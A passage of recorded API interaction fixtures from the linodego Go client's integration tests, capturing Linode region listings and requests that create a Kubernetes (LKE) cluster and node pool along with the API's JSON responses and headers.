linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/0/pools/0 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store Content-Length: - "37" Content-Type: - application/json Server: - nginx Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestLKENodePool_Recycle.yaml000066400000000000000000001060021474652371000320300ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-tyo-3", "label": "Tokyo 3, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.237.4.15,172.237.4.19,172.237.4.17,172.237.4.21,172.237.4.16,172.237.4.18,172.237.4.23,172.237.4.24,172.237.4.20,172.237.4.14", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 31}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:55:43 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"node_pools":[{"count":1,"type":"g6-standard-2","disks":null,"tags":["test"],"labels":null,"taints":null}],"label":"go-lke-test-def","region":"ap-west","k8s_version":"1.29","tags":["testing"]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters method: POST response: body: '{"id": 252663, "status": "ready", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "label": "go-lke-test-def", "region": "ap-west", "k8s_version": "1.29", "control_plane": {"high_availability": false}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "241" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:55:54 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"count":2,"type":"g6-standard-2","disks":[{"size":1000,"type":"ext4"}],"tags":["testing"],"labels":null,"taints":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252663/pools method: POST response: body: '{"id": 403772, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "403772-2ecf58fc0000", "instance_id": null, "status": "not_ready"}, {"id": "403772-44f27ecb0000", "instance_id": 65936565, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "392" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:55:56 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/lke/clusters/252663/pools/403772 method: GET response: body: '{"id": 403772, "type": "g6-standard-2", "count": 2, "nodes": [{"id": "403772-2ecf58fc0000", "instance_id": 65936566, "status": "not_ready"}, {"id": "403772-44f27ecb0000", "instance_id": 65936565, "status": "not_ready"}], "disks": [{"size": 1000, "type": "ext4"}], "autoscaler": {"enabled": false, "min": 2, "max": 2}, "labels": {}, "taints": [], "tags": ["testing"], "disk_encryption": "enabled"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "396" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Fri, 25 Oct 2024 14:55:57 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - lke:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: 